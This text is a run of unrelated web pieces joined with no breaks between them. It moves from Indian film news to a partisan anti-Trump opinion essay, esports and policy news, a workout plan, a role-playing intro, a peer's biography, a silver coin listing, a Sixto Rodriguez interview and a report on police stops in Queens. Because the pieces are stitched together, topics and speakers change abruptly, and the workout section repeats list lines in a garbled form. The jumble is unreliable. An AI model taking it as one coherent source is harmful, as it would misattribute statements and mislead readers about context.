He has chosen Dulquer and Nitya because of their urban cool dude looks. The two have already been paired together. They starred as the romantic lead in Malayalam super hit Ustad Hotel that was written by Anjali Menon and directed by Anwar Rasheed. They also recently featured in Anjali Menon’s blockbuster Bangalore Days, though not as romantic leads.
Mani is not only respected as a director but is known to have given a break to some of the biggest names in Indian cinema like Oscar winning music director AR Rahman, Madhavan, Aishwarya Rai and so many others. In a career spanning 31 years, Mani has made 22 films in Tamil, Telugu, Malayalam Kannada and Hindi. When his Roja, a film on militancy in Kashmir was dubbed into Hindi and became a runaway success, the mainstream media took notice of him.
And his controversial Hindu –Muslim love story set against the Mumbai communal riots of Bombay created a huge fan base for him in Bollywood.
Though his straight Hindi films like Dil Se, Yuva, Guru and Raavan may not have set the box-office on fire, every established Bollywood star has expressed a desire to work with him. In short Mani Ratnam is a brand in Indian cinema.
However in Tamil cinema where his roots are, Mani has been floundering at the box-office and critics have ripped his films apart.
His last release, a commercial potboiler called Kadal (February 2013) received scathing reviews and was a colossal flop. It set the alarm bells ringing. Has Mani lost touch with new generation audiences? His tendency to play safe by padding his films with too many commercial ingredients and refusing to experiment led to a dilution of his brand.
Added to that younger directors like Nalan Kumarasamy (Soodhu Kavvum), Karthik Subbaraj (Pizza, Jigarthanda), Ranjith (Attakathi, Madras) who were willing to take the road less travelled found acceptance among new age multiplex audiences. Now Mani Ratnam has to reinvent himself as a director who understands the pulse of today’s generation next audience.
The buzz is that Mani’s new film is an urban based modern-day love story and set in Chennai and Mumbai, a milieu he understands.
Earlier there were reports that he is remaking his evergreen love story Mouna Ragam (1986). However sources close to the director deny this. His new film is said to be an all new love story which would be topical and relevant. AR Rahman has confirmed that his son Ameen will sing a song for the film.
Trade sources have confirmed that Mani’s new bilingual will be made on a shoe-string budget of Rs 5 to 6 crores.
The combined satellite television rights of the film in Tamil and Malayalam will not only cover the cost but make it profitable. And revenue from theatrical and other rights will be a major plus. It will be a quickie that will be wrapped up by December and released in the first quarter of 2015.
Mani Ratnam needs a hit and a film which will be liked by the critics and his traditional multiplex audiences to retain his brand image. Will this be the film to do it?
5 'n Dime Blocked Unblock Follow Following May 7, 2016
Donald Trump will not make America great again. Donald Trump will annihilate us.
Ted Cruz and John Kasich have now jumped ship on the run-up to the Republican nomination, leaving Donald Trump as the presumptive GOP nominee. And that’s very, very bad for the United States of America.
Trump was entertaining for a spell, in that can’t look away from watching a botfly extraction on YouTube sort of way. It was even interesting at times to see the political usual suspects try to address concerns closer to home. Trump was a rodeo clown, a contrast of comic relief in an arena of potential peril. Yet, incredibly, he is going to be the GOP nominee for President of the United States of America.
This is no longer mere spectacle, and no longer schadenfreude. Now it’s sadism.
These are five reasons why Donald Trump is the wrong person for the job, and would spell disaster for our national and homeland security:
5. Donald Trump is a Liar
“I know nothing about David Duke. I know nothing about white supremacists. And so you’re asking me a question that I’m supposed to be talking about people that I know nothing about.”
When Germany violated the Treaty of Versailles in March of 1935, representatives from Great Britain, France, and Italy, met in Stresa. Like toddlers without a concept of object permanence, we closed our eyes to the obvious lies and blundered forward with eyes wide shut, essentially hoping for the best. Things turned out terribly. It wasn’t like we couldn’t see it coming. In May that year, Winston Churchill, addressing the House of Commons, said:
When the situation was manageable it was neglected, and now that it is thoroughly out of hand we apply too late the remedies which then might have effected a cure. There is nothing new in the story. It is as old as the sibylline books. It falls into that long, dismal catalogue of the fruitlessness of experience and the confirmed unteachability of mankind. Want of foresight, unwillingness to act when action would be simple and effective, lack of clear thinking, confusion of counsel until the emergency comes, until self-preservation strikes its jarring gong — these are the features which constitute the endless repetition of history.
In other words, as Santayana observed in 1905, those who fail to learn from history are doomed to repeat it. Electing leaders who have inflamed our baser passions through recklessness or impudence cannot and should not be reasonably expected to cease being inflammatory, nor to credibly newly re-imagine their prior bloviations recast as courage or resolve. Trump’s Ministry of Truth is the same as Orwell’s — it’s all doublespeak, and can only be engaged in historical falsification, not in truth.
In fact, Trump has already claimed “I will be so presidential, you will be so bored.” The implications are clear: he’s lying now, but there is a real Donald Trump, a rational and sane one, and there’s really nothing to fear, because soon all will be revealed. Pay no attention to the man behind the curtain, because the lie is the truth. Despite his assurances that he will, eventually and magically, become more “presidential,” you are not investing in a future Donald Trump. What you see is what you get.
Or in this case, and more dangerously, what you forget.
4. Donald Trump is a Demagogue
“We will have so much winning if I get elected that you may get bored with the winning. Believe me, I agree, you’ll never get bored with winning. We never get bored. We are going to turn this country around. We are going to start winning big on trade. Militarily, we’re going to build up our military. We’re going to have such a strong military that nobody, nobody is going to mess with us. We’re not going to have to use it.”
History is replete with examples of leaders whose popular appeal belies an agenda we are all too willing to turn a blind eye to — failing to consider the consequences of short-term actions or appeasement for the sake of gratification or one-upmanship. Feels good. Until morning.
Few would seriously dispute the seemingly obvious observation that the United States is not a sports team, and that geopolitics is not a game. Talking about winning and losing may appeal to our love of spirited competition, both as a species and a community, but this is dangerously close to transmuting global relations into some kind of dystopian Hunger Games, for the amusement of a new President Snow in his mansion in the Capitol. It is not convincing to recast the competition in the heat and simple milieu of the campaign trail; Trump isn’t merely talking about winning the presidency — he’s talking about conquering the World.
If you don’t think that’s got nation-states and pesky non-state actors perking up their ears with interest and concern, wincing and salivating at the impertinence at the same time, you haven’t been paying attention. Folks, Germany is looking at this guy like he’s the incarnate Antichrist. Listen to GERMANY. I can’t even imagine the horrors of dealing with anti-Western extremists under a Trump presidency.
3. Donald Trump is an Isolationist
“I will build a great wall — and nobody builds walls better than me, believe me — and I’ll build them very inexpensively. I will build a great, great wall on our southern border, and I will make Mexico pay for that wall. Mark my words.”
The bluster and bravado may play on the stump, but the global community isn’t shaking its head in that knowing half-smile of dismissal any longer. With the exit of Cruz and Kasich, who despite being distinctly attuned to certain domestic party doctrines, were at least perceived as having some semblance of awareness of the complexity of global relations, the laughable implausibility of a Trump presidency is no longer certain. The World is beginning to wonder just how gullible the American public really might be, and how that ignorance could translate to votes that impact the rest of the planet.
Trump’s calls for surveillance on mosques and banning all Muslims from entering the United States has been met with horrified gawks — and an almost desperate pleading for some level of solemnity or diplomacy in his positions and tenor. His walking-back, if not patently hostile attacking, of rights for women, LGBT, minorities, immigrants, and any group under the “other-than-Trump” banner bodes poorly for the progressive ideals of tolerance and inclusion upon which the Republic was founded.
If Trump being more presidential can be inferred from what amounts to his first “foreign policy” speech in April, we all have cause for concern about his ill-defined or understood doctrine, and the security of the United States, or lack thereof. His “America First” agenda represents an earth-shattering departure from US foreign policy, reeking more closely of the isolationist positions for staying out of World War II (which movement, by the by, used the exact same phrasing, and Trump simply lifted it). Even more concerning, though certainly not surprising, is his stunning cognitive obliviousness to his own geopolitical incompetence in excluding the rest of the planet. This isn’t smart, and it’s not viable strategy. This is stupid, sloppy, and reckless.
2. Donald Trump is a Fascist
“It’s okay to know it’s Mussolini. Yeah, look Mussolini was Mussolini. It’s a very good quote, it’s a very interesting quote, and I know it… I saw it… I saw what… I know who said it.” (On being questioned about retweeting the famous quote, “It is better to live one day as a lion than one hundred years as a sheep.”)
Robert Paxton, professor emeritus of social science at Columbia University, describes fascism as:
…a mass nationalist movement intended to restore a country that’s been damaged or is in decline, by expansion, by violent attacks on enemies, internal as well as external enemies, and measures of authority, the replacement of democracy by an authoritarian dictatorship.
So Trump tweeted a Mussolini quote. Does it make him a fascist? Not in and of itself, of course not. Look, Trump is no Nietzsche, but that’s never stopped a supremacist from believing he is Übermensch, ordained for salvation and control through sheer force of his own will. Trump’s narcissism, his violent posturing and incendiary aggression, are not open for dispute. They are on full and continuous display.
“Make America Great Again,” Trump’s campaign slogan (appropriated shamelessly from Reagan’s 1980 presidential campaign and then trademarked by Trump to keep his rivals from using it), certainly punctuates the point. This is not a man looking toward the future; this is a man seeking to recapture the glories of an imagined past empire, under the impression that the spoils will be his as Conqueror. Read Paxton’s description and see if you can distinguish it from Trump’s platform. I sure the hell can’t.
We may be blind to it, or convince ourselves it cannot happen. The World isn’t blind, and won’t believe it isn’t possible. We’ve seen this before.
1. Donald Trump is a Terrorist
“The other thing with the terrorists is you have to take out their families, when you get these terrorists, you have to take out their families.”
This isn’t sensationalism, and I’m not making this up. Terrorism is the use of violence or intimidation in the pursuit of political aims. This isn’t his standard distasteful baiting and name-calling. Not by a long shot.
It bears little necessity of further discussion, the irony of Trump’s psychology of fear as a measure of control, and his unbelievable display of ignorance in threatening to kill women and children to effectuate political and military power. His perception as a trigger-happy cowboy isn’t helping the West. At all. More importantly to our analysis, given the opportunity to back off from his blatant disregard of the Geneva Conventions, US law, and basic human dignity — to say nothing of fundamental ethics or morality — Trump didn’t.
He doubled-down in the GOP debate in March, saying military leaders would obey him if he ordered them to kill terrorists’ families.
Under pressure later, of course, he said he’d reversed this position. Actually, he said everyone in the World must have misheard or misunderstood him. Bullshit. At this point, I’d say a quick peek at the first item on this list might be a good idea.
We are super excited to announce that @S0NSTAR rejoined Giants as our new Strategic Coach for the upcoming split!#WeAreGiants #GIAWIN pic.twitter.com/6kQnISHgbx — Giants LCS (@GiantsGamingENG) January 19, 2017
S0NSTAR originally joined the team in February 2016 after several months as a free agent. He was dropped from Giants' roster in October alongside top laner Lennart “Smittyj” Warkus following the team's failure to qualify for the 2016 World Championship. While on the team, S0NSTAR secured a 4.86 KDA in the summer split, the highest on the team.
Giants open their spring split with a match against Misfits on Friday.
On Friday, the California Department of Managed Health Care sent a letter to seven insurers mandating that all group plans in the state include coverage for elective abortions as a medically necessary procedure, the San Jose Mercury News reports (Seipel, San Jose Mercury News, 8/22).
Background
The letter comes after two Catholic universities in California -- Santa Clara University and Loyola Marymount University -- changed their employer health insurance policies to no longer cover abortions unless they are necessary to protect a woman's health.
The change partially took effect this year at Loyola and was slated to take full effect at Santa Clara next year (California Healthline, 8/12).
The two universities' health plans are through Anthem Blue Cross and Kaiser Permanente.
Details of Letter
In the letter, DMHC Director Michelle Rouillard wrote that "abortion is a basic health care service," adding that the state constitution "prohibits health plans from discriminating against women who choose to terminate a pregnancy" (Goldberg/Aliferis, "State of Health," KQED, 8/22).
Rouillard added, "All health plans must treat maternity services and legal abortion neutrally."
She wrote that the department had "erroneously approved or did not object" to some plans excluding elective abortion coverage and directed insurers to review their plans for compliance with the new directive (AP/U-T San Diego, 8/23).
According to the letter, the change is effective immediately.
Anthem and Kaiser have said they will comply with the order, according to the Mercury News.
Reaction
Depti Singh -- an attorney with the National Health Law Program, a not-for-profit group that has worked to ensure elective abortion is included in group coverage -- said, "We welcome [DMHC's] action in really enforcing what current California law is" (San Jose Mercury News, 8/22).
In a separate statement, several abortion-rights advocacy groups -- including the American Civil Liberties Union of California, NARAL Pro-Choice California, NHLP, Planned Parenthood Affiliates of California and the Trust Women: Silver Ribbon Campaign -- wrote, "This clarification about statewide abortion coverage in health plans follows both the spirit and the letter of California law" (NHLP release, 8/22).
However, the antiabortion groups Alliance Defending Freedom and Life Legal Defense Foundation sent a letter to Rouillard on Friday saying that they plan to file a civil rights complaint about the new directive.
Catherine Short, legal director of LLDF, wrote, "California cannot be allowed to discriminate against health plans that don't cover elective abortions and force people to purchase coverage that conflicts with their convictions" (AP/U-T San Diego, 8/23).
In addition, Catholic League for Religious and Civil Rights President Bill Donohue in a statement on Friday wrote, "Paying for abortions is in direct conflict with the teachings of the Catholic Church" (San Jose Mercury News, 8/22).
The 4 Day HIML-4 Workout Split
You can perform this one of two ways: as structured, or using a 2 day on, a day off format.
Day 1 - Chest, Biceps and Abs
- Chest, Biceps and Abs Day 2 - Quads, Hamstrings and Calves
- Quads, Hamstrings and Calves Day 3 - OFF
- OFF Day 4 - Shoulders, Triceps and Abs
- Shoulders, Triceps and Abs Day 5 - Back, Traps and Forearms
- Back, Traps and Forearms Day 6 - OFF
- OFF Day 7 - OFF, or restart using Day 1's workout.
The 4 HIML-4 Workouts
The HIML-4 muscle building system utilizes 4 different styles of training, rotated over a 4 week (or 6 day cycle) period.
Week 1 - H eavy week, focusing on 5-7 rep sets and the use of compound exercises.
- eavy week, focusing on 5-7 rep sets and the use of compound exercises. Week 2 - I ntensity week, focusing on the use of slow negatives, training to failure, pre-exhaust and drop sets.
- ntensity week, focusing on the use of slow negatives, training to failure, pre-exhaust and drop sets. Week 3 - M edium week, focusing on the 10 to 12 rep range with a mix of compound exercises and machines.
- edium week, focusing on the 10 to 12 rep range with a mix of compound exercises and machines. Week 4 - Light week, focusing on 15 to 20 rep sets and the use of isolation exercises.
As you can see, weeks 2 and 4 are lighter training days. They provide your body with a working break and active recovery from the stresses of heavy training, while allowing you to challenge the body and build muscle.
Week 1 - Heavy Training
Do not add exercises to any of these training days. The point is to lift heavy on basic exercises. Use the same weight for each set of an exercise. Push yourself for as many reps as possible on each set without training to failure. NEVER perform more than 7 reps per set. When you can perform 7 reps for ALL 4 sets, add weight the next time you perform this workout and exercise.
Rest about 2 to 5 minutes between sets. Wait until you feel "physically ready" before starting another set. The point of this week is to move heavy weight, so proper rest between sets is crucial! Don't rush.
Week 2 - Intense Training
During week 2 you will be performing a limited number of sets, but each set will be very intense. As with week 1, rest as long as possible before attempting subsequent sets. All sets are trained to failure, and beyond.
After the pre-exhaust sets, each exercise is performed using 4 second negatives. Perform all non pre-exhaust sets to failure. Once you reach failure, rest for 15 seconds, and then perform 3 drop sets at, or near failure, with no rest in between sets.
When you can perform 10 reps for any given non pre-exhaust set, add weight the next time you perform this workout and exercise.
Rest until you feel "physically ready" before starting another set. As with week one, do not add in sets. The point of week 2 is take to rest from volume and heavy weight, and to stimulate muscle growth using high intensity techniques.
Note : Do NOT train abs until failure.
Week 3 - Medium Training
During week 3 you will be working with a slightly higher rep range and moderately heavy weight. Rest about 2-3 minutes between most sets. Do not train to failure. Stop each set when you feel like you may fail on the next rep. When you can perform 12 reps on a given set, add weight the next time you perform that exercise.
Week 4 - Light Training
Week 4 is a lighter training week. Consider it an "active de-load". You will still train hard, but the rep ranges are very high and the weight fairly light. This week will allow your joints and connective tissue a chance to recover from the wear and tear that took place over the previous 3 weeks. Once again, do NOT train to failure. Stop each set when you feel like you may fail on the next rep.
You are an initiate, chosen to follow the path of balance and led by Khelben "Blackstaff" Arunsun. Soon you will be with fellow adventurers again on a mission of vital importance.
http://forgottenrealms.wikia.com/wiki/Harpers
The campaign year is 1023 DR.
The Macedonian Parliament has begun the process of approving a constitutional ban on same-sex marriage, with lawmakers agreeing Wednesday to consider amendments put forward by government MPs.
The ruling Internal Macedonian Revolutionary Organization – Democratic Party for Macedonian National Unity coalition of Prime Minister Nikola Gruevski and his allies received a landslide win in elections in April of this year and it is believed they have the two-thirds majority of seats needed to change Macedonia’s constitution.
Macedonia has been asked by the European Union to lift its game on LGBTI rights however same-sex couples have no legal recognition of their relationships in the Balkan state and homosexuality was only decriminalized there in 1996 in order for Macedonia to gain entry to the Council of Europe.
A government spokesman told the Associated Press that the constitutional amendment was necessary to protect ‘traditional, family and religious values of marriage.’
Thomas Pakenham, 5th Earl of Longford, KP, MVO (19 October 1864 – 21 August 1915), known as Lord Silchester until 1887, was an Irish peer and soldier.
Biography [ edit ]
Born in Dublin, Longford was the eldest son of William Pakenham, 4th Earl of Longford, and his wife the Hon. Selina (née Rice-Trevor), and succeeded in the earldom on his father's death in 1887. Educated at Winchester College[1], he served in the 2nd Life Guards, achieving the rank of Colonel, and also held the honorary post of Lord-Lieutenant of County Longford from 1887 to 1915. In 1901 he was made a Knight of the Order of St Patrick.
Following the outbreak of the Second Boer War in late 1899, Lord Longford was instrumental in forming a company of volunteers from the Irish Hunt for the Imperial Yeomanry, serving in South Africa.[2] He was formally seconded for service with the Imperial Yeomanry and appointed a captain of the 45th (Dublin) Company on 3 February 1900.[3][4] The company left for South Africa in the middle of March 1900,[5] and on arrival was attached to the 13th Battalion, Imperial Yeomanry. He was wounded and returned home the following year. In January 1902 he was again seconded for service with the Imperial Yeomanry.[6] He was appointed in command of the 29th Battalion (composed primarily of officers and men from the Irish Horse), with the temporary rank of Lieutenant-colonel[7] (antedated to 1 January 1902[8]), and left Ireland for South Africa in May 1902. As the senior officer, he was in command of almost 1 150 officers and men on board the transport ship Bavarian for the journey.[9] They arrived in South Africa after the end of hostilities, as the Peace of Vereeniging was signed on 31 May, and returned home only four months later, leaving Cape Town on the SS Dilwara which arrived at Southampton in late October.[10]
In Dublin, he was a member of the Kildare Street Club.[11]
During the First World War Lord Longford commanded the 2nd South Midland Mounted Brigade of the 2nd Mounted Division, a yeomanry formation, with the rank of Brigadier-General. The Division was initially based in Egypt but was sent dismounted to Suvla on the Gallipoli peninsula as reinforcements during the Battle of Sari Bair. On 21 August 1915 the Division was in reserve for the final attack on Scimitar Hill. When the initial attack by the 29th Division failed, the yeomanry were ordered to advance in the open across a dry salt lake. Raked by shrapnel fire, most of the brigades halted in the shelter of Green Hill but Longford led his brigade in a charge which captured the summit of the hill. As he continued to advance, he was killed. His last words before his death were, reputedly "Don't bother ducking, the men don't like it and it doesn't do any good...."
Longford's body was never recovered as the British made no further advances before the evacuation of Suvla on 20 December. His grave is marked as a special memorial in Green Hill Cemetery at Suvla.
Family [ edit ]
Lord Longford married Lady Mary Julia Child Villiers, daughter of Victor Child Villiers, 7th Earl of Jersey, in 1899. They had two sons and four daughters. He was succeeded in the earldom by his eldest son Edward. His second son Frank later succeeded his elder brother and became a prominent Labour politician. Longford's daughters were Lady Violet Pakenham, a writer and critic and the wife of the noted novelist Anthony Powell, Lady Mary Clive, author of Christmas at the Savages and other novels, Lady Pansy Lamb, novelist, biographer, and wife of the painter Henry Lamb and Lady Julia Mount, mother of Sir Ferdinand Mount. The Countess of Longford died in November 1933, aged 56.
Product Details
The Perth Mint's lunar series has been popular since its first release, and this 2016 edition is no different. This coin is special in that it features a unique design of the Monkey King, which is new to the iconic Perth Lunar series!
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Comes in a plastic capsule. Multiples of 100 are packaged in a sealed box.
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Sovereign coin backed by the Australian government.
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Product Specifications Product ID: 96622
Year: 2016
Grade: Brilliant Unc
Grade Service: None
Denomination: $1.00 Dollar
Mint Mark: P - Perth Mint
Metal Content: 1 troy oz Purity: .999
Thickness: 2.6 mm
Diameter: 45.60 mm
The Silver Mint Perth Lunar Series II is one of the most widely sought after collections in production today. The collection is a beautiful tribute to the Chinese Lunar Calendar and was introduced in 2008, following the popularity of the first Silver series release in 1999, and will end in 2019. The coins come in sizes of 1/2 oz, 1 oz, 2 oz, 5 oz, 10 oz, 1/2 kilo and 1 kilo and all contain .999 fine Silver.
The Silver Perth Lunar Series II features a different animal every year, starting with the mouse coin in 2008 followed by the ox, tiger, rabbit, dragon, snake, horse, goat, monkey, rooster, dog and pig. The obverse features the profile of Her Majesty Queen Elizabeth II as captured by Raphael Maklouf. Although the Gold Perth Lunar Series II has also been released each year since 2008, the Gold and Silver editions feature differing designs.
The Lunar Series is based on the ancient 12-year Chinese lunar calendar, which dates back to 2,600 B.C. The Lunar Calendar is steeped in tradition and symbolism. Based on the appearance of the moon, the Lunar Calendar associates a different animal with each year in the 12-year cycle. These animals are said to have a profound influence on the personalities of people born under their rule.
Established in 1899, the Perth Mint predates the federation of Australia by two years. The mint was initially established for two reasons: to refine the vast amounts of Gold flooding in from various areas of Western Australia and to produce Gold sovereigns and half sovereigns to be used throughout Great Britain. Although Australia became an independent nation in 1901, the Perth Mint remained under the authority of the British crown until 1970. Following a 1987 State Act of Parliament, Gold Corporation, a company entirely owned by the Government of Western Australia, was established and mandated to operate the Perth Mint to market their Gold, Silver and Platinum Australian coins overseas.
Who were the most important American songwriters after Woodstock? Bob Dylan, Neil Young and Rodriguez. Everyone knew that where I was growing up, among the malcontent teenagers of white suburbia in apartheid South Africa in the 1970s. What’s that you say? Who’s Rodriguez? Don’t be stupid. Rodriguez. You know, the Mexican guy with the hat and the sunglasses — “I Wonder,” “Sugarman,” “Crucify Your Mind”…
It was only upon arriving in the United States in the early ’90s that I realized that nobody here had ever heard of Sixto Rodriguez, whose debut album Cold Fact we’d considered one of the most important of all time, owned on vinyl or cassette copy by every white South African who’d ever smoked a joint or entertained a dissident thought about the horrors of the apartheid system — or simply wondered what the hell was the point of charging around the bush in an army uniform, fighting Namibian liberation fighters on the border with Angola.
In the years before Al Gore invented his space-shrinking, time-accelerating Internet, things took a while to reach South Africa. Movies — those that could get past the puritanical censors — opened six months after they’d been taken off screens in the U.S. Rolling Stone magazine came by boat, usually about nine months late. There was no such things as television until 1975, the Calvinist apartheid elders having convinced themselves that the immoral medium would prove to be their undoing. But Rodriguez, somehow, made it through.
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What we didn’t know, of course, was that his career had been stillborn in America, neither of his two albums selling in any significant number, before he was dropped by his label. “I stopped chasing the music dream back in ’74,” he says with a wry smile, sitting in a Manhattan hotel, hours after an appearance on Imus in the Morning — and two days after making his network TV musical debut on Letterman. “I left the music scene, and started working on construction sites. Doing demolition, renovation, filling up bags, some roofing.”
But if he’s suddenly in heavy demand by the entertainment industry, it’s not for his facility with a sledgehammer or a roofing hatchet. His life has become an improbable urban fairytale thanks to Searching for Sugar Man, Malik Bendjelloul’s extraordinary documentary that earned rave reviews at Sundance for capturing the parallel lives of Sixto Rodriguez.
“A man who lives his whole life as a construction worker, doing really hard work, in Detroit, unaware that in another part of the world, he’s more famous than Elvis Presley,” Bendjelloul told CNN. “It was the most beautiful story I ever heard in my life.”
David Letterman agrees, as he gushed about the movie on his show last week. So, too, have Roger Ebert, Michael Moore, Susan Sarandon, Jonah Hill — even Lance Armstrong. Having made a splash at Sundance, the movie is currently in art house showings around the U.S. after being picked up by Sony Pictures Classics, igniting talk of an Oscar nomination. It’s not hard to see why Rodriguez’ tale captures the imagination: A man whose haunting voice and poetic musings might have made him the new, new thing in the early ’70s instead literally disappears for decades, just another could’a-been-a-contender musician scraping by on the margins of the working class, while in faraway South Africa — unbeknownst to him — his albums are selling like hotcakes, and he’s bigger than Elvis, although he’s not getting a penny in royalties.
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It’s the collision of those two worlds — when his most dedicated South African fans discovered that Rodriguez, in fact, had not committed suicide on stage as local rock legend had it, but was alive and well and living in Detroit — that triggers the magic of the movie, and leads to the quiet, unassuming troubadour showing up on Letterman to sing the hauntingly beautiful dystopic ballads he first performed in the dive bars of Detroit four decades ago.
A Rip Van Winkle tale for the music industry?
“Yes, I suppose it does have a magical twist to it,” he laughs. “But I was never asleep.”
No, he was working, doing back-breaking physical labor, mostly demolition, and raising his daughters to transcend the shackles that a life on the cusp of poverty might have imposed. And fighting the good fight for people like himself.
In his enthusiasm to share ideas — he still uses Woodstock-era phrases like “Now dig this” — Rodriguez doesn’t want to dwell too much on the past; he has plenty to say about the present and future.
“I’m a musical political,” he says repeatedly. “I sing about social issues, not the boy-girl stuff.” His sense of the pervasive injustice around him shaped the lyrics he penned and performed in the early ’70s, and when the music thing didn’t work out, he shrugged, and walked away — legend has it that he walks everywhere in that most automotive of cities in which he has always lived — but also took up the fight of the working poor in politics, running twice for mayor of Detroit, and also for city council and state representative.
Bendjelloul’s film finds Rodriguez, at 70, shambling along the streets of today’s Detroit — a blighted post-industrial urban landscape where the American dream has long-since turned into a nightmare. But, he notes, it’s not that different from the Detroit in which he began performing his poetic tunes in the early ’70s. “The issues are as urgent today as when I first wrote these songs,” he says.
It’s tempting to think of Rodriguez as a kind of street preacher, speaking up for the hungry and the homeless, prophesying doom for a society that ignores their plight. But he’s far too soft-spoken and polite for that. More like a street theologian, in fact, quietly dispensing wisdom laced with nuggets from all of humanity’s book learning and from his own hard-bitten experience. He’s not going to shout to get your attention; he’ll speak quietly — but you’ll know you’re missing something if you’re not paying attention.
In a conversation that covers everything from Syria and the citizen journalism of Zapruder to Plato and Lenny Bruce, Emile Durkheim and Nietzsche, religion and revolution, Rodriguez offers this recurring nugget of dissident wisdom: “Beware of current truths.” His own life certainly testifies to their fluidity.
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Rodriguez had taken in his stride the disappointments of his treatment at the hands of a music industry which, back in the ’70s, had little enthusiasm for a politically strident working-class Latino musician whose music sounded more like Bob Dylan’s “Desolation Row” than like Santana or Tito Puente. Having lost his mother at age 3 and spent a number of years living in an orphanage and seeing his father only on Sundays, he wasn’t expecting an easy life. “I was one of the lucky ones,” he says of his days in the orphanage. “I had my father, a lot of the kids there didn’t have any parents.”
And rather than bitterness over being snubbed and then cheated out of his royalties, he is grateful for his changing fate. “I’m a lucky man,” he smiles, recounting the 2008 re-release of Cold Fact by Light in the Attic Records, and the phone call that had come a few years earlier, like a bolt from the blue, telling him that in South Africa, he was a rock star and inviting him to tour — a fact that left his workmates on the construction sites of Detroit a little gobsmacked.
Although his music was giving voice to those living at the margins and his politics are unashamedly those of social justice for the working poor, it was the embrace of his work by the children of white privilege in apartheid South Africa that gave Rodriguez a second chance. “Thanks for keeping me alive,” the film shows him shouting to a rapturous crowd of thousands of mostly white people, many of them no longer youths, on his debut concert in South Africa in 1998. It was to young white suburbanites, many of them Afrikaans, for whom he represented an improbable icon of transgressive anti-establishment thinking with frank songs about drugs, sex and the hypocrisy of the men in power. Those songs had an electric effect on many of them, prompting a dissident doubt about the regime that kept a country in chains. What the Velvet Underground were to Vaclav Havel and his generation of Czech dissidents, Rodriguez was to many young Afrikaners who by the early ’80s began to break with the regime that ruled in their name.
The South Africa he visits today — his daughter Eva lives there, now, having married a man she met on her father’s first tour — is hardly free of the poverty and despair described in his songs, despite the ANC having been in power for 18 years. On the morning we meet, South African police have shot dead 34 striking mineworkers in an incident horrifically reminiscent of the apartheid era. “People there are still demonstrating for the basics, like water, electricity, a decent wage…”
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And he sees a connection: “When I was writing those songs, it seemed like a revolution was coming in America. Young men were burning their draft cards, the cities were ablaze with anger.” Now, he thinks, “there won’t be a revolution, the system will simply collapse under the weight of its own greed, corruption and bigotry.”
He’s working on new material, he allows, driven by the same concerns. “This time, of course, I’ll be protected over the royalties,” he notes, wryly. Record labels no longer decide the fate of artists, and the crevasse in the global pop-culture into which he fell back in the ’70s has been eliminated by the Internet — the same vehicle that could turn a Cape Town art-school act like Die Antwoord into an international phenomenon, thanks largely to YouTube.
Republican Rep. Rod Blum of Iowa walked out of an interview with a local reporter after he persisted with an uncomfortable line of questioning.
The interview started out friendly enough. Josh Scheinblum of the ABC affiliate KCRG pointed out to Blum that the people attending his recent town hall meeting needed to provide identification to prove that they were residents of the his district. After Blum replied that he only wanted people from his district to attend, Scheinblum pointed out that "some would make the case that you represent all Iowans. The decisions that you make impact all Iowans. So shouldn't all Iowans have a voice at the table, or at least have the option to?"
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Blum laughed and replied, "I don't represent all Iowans. I represent only the first district of Iowa. That would be like saying, Shouldn't I be able to, even though I live in Dubuque, go vote in Iowa City during the election, because I'd like to vote in that district instead?"
"Would you still take donations from a Republican in Iowa City?" Scheinblum then asked, causing lum to walk out after only two minutes.
As Blum stood up and unclipped his microphone, Scheinblum seemed genuinely surprised that the interview was being cut off. Blum, on the other hand, denounced the line of questioning as "ridiculous" and accused Scheinblum of wanting to "badger him" with his questions.
Despite Blum's efforts to weed out trouble from both his town hall meetings and journalistic interviews, he still had a very eventful event at his town hall, where he was peppered with hostile questions over his support of the American Health Care Act.
This also isn't the first time that Blum has been hostile with journalists. Despite campaigning on the promise to donate half of his salary to charities in his congressional district, in April of last year Blum snapped at a reporter who confronted him about failing to follow through on that promise.
"I don’t care. I don’t care. I don’t care. End of story," Blum told the Telegraph Herald. "You know how many people have asked me about that in the last 600 days? ... Zero. Zero people care about that."
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Compounding the issue in the area, which is heavily immigrant, is the fact that the controversial practice largely targets minorities.
"Transgender and gender nonconforming people of color are particularly vulnerable due to their visibility," the study said. "In order to combat police misconduct, there must be legislation and policies that minimize the risk of these kinds of abuse occurring in our communities."
Of the 305 residents contacted over the past year for the study, conducted by Make the Road New York and the New York City Gay and Lesbian Anti-Violence project, 167 listed themselves as either lesbian, gay, bisexual, transgender or “other.”
Of that group, 51 percent of lesbian, gay, bisexual or other respondents said they were stopped by police, a third of whom said they were also physically harassed.
But for the 69 transgender people surveyed, those numbers were higher, the study showed. Fifty-nine percent of transgender respondents said they were stopped by police, almost half of whom said they were physically harassed.
For non LGBTQ respondents, the rate of being stopped and frisked was less than half — 28 percent.
Some transgender people said they were accused of being sex workers, according to speakers on Tuesday at Make the Road's Jackson Heights office.
A transgender woman who identified herself on Tuesday as Cristina — speakers remained mostly anonymous except for their first name — claimed in a translated statement that she was leaving a club in Jackson Heights with her boyfriend when a group of undercover police officers frisked them both.
When they found condoms in her bra, she said, they accused her of being a sex worker.
“After seeing the condoms they asked if I was sure that I was not working,” she said. “I told them that I was with my boyfriend and they said that he was not my boyfriend.”
Activists like Make the Road say the practice of using condoms as evidence of sex work has been used to demonize transgender people, and point to legislation currently in the State Senate — a “No Condoms as Evidence Bill” sponsored by 17 Democratic state senators — as a step in the right direction.
The study outlined a number of other recommendations, including encouraging the use of new NYPD patrol guidelines announced in June to address alleged transgender discrimination, and the passage of the Community Safety Act in the City Council.
The council bill, sponsored by 30 council members, went to the Committee on Public Safety on Oct. 10. It would require officers to provide their name and rank, explain the reasons why they’re stopping someone and set up a new Inspector General’s office to monitor the program.
One of the Community Safety Act sponsors, Jackson Heights Councilman Daniel Dromm, said that the police should do more to build trust, and less to alienate those who live in the community.
“It’s an issue of racial profiling, and an issue of LGBTQ profiling with special emphasis on our transgendered community,” Dromm said. “The majority of LGBTQ people who have come to this neighborhood, or who live in this neighborhood, in many instances have come to live here because of persecution in their own country only to face further persecution in this country.”
The 115th precinct, which covers Jackson Heights, had one of the highest incidences of force used by cops in the city last year, according to a report in the New York Times. Officers from the precinct also made 1,209 stops in the second quarter of 2012, according to the New York Civil Liberties Union. That number was down from the previous quarter, in which 1,737 people were stopped.
The 115th precinct directed questions to the NYPD’s public information office, which did not immediately respond. The 110th precinct, which covers the nearby neighborhoods of Corona and Elmhurst, did not immediately return calls.
Make the Road organizer Karina Claudio-Betancourt said she hopes the study can be the starting-point of a conversation with the precincts.
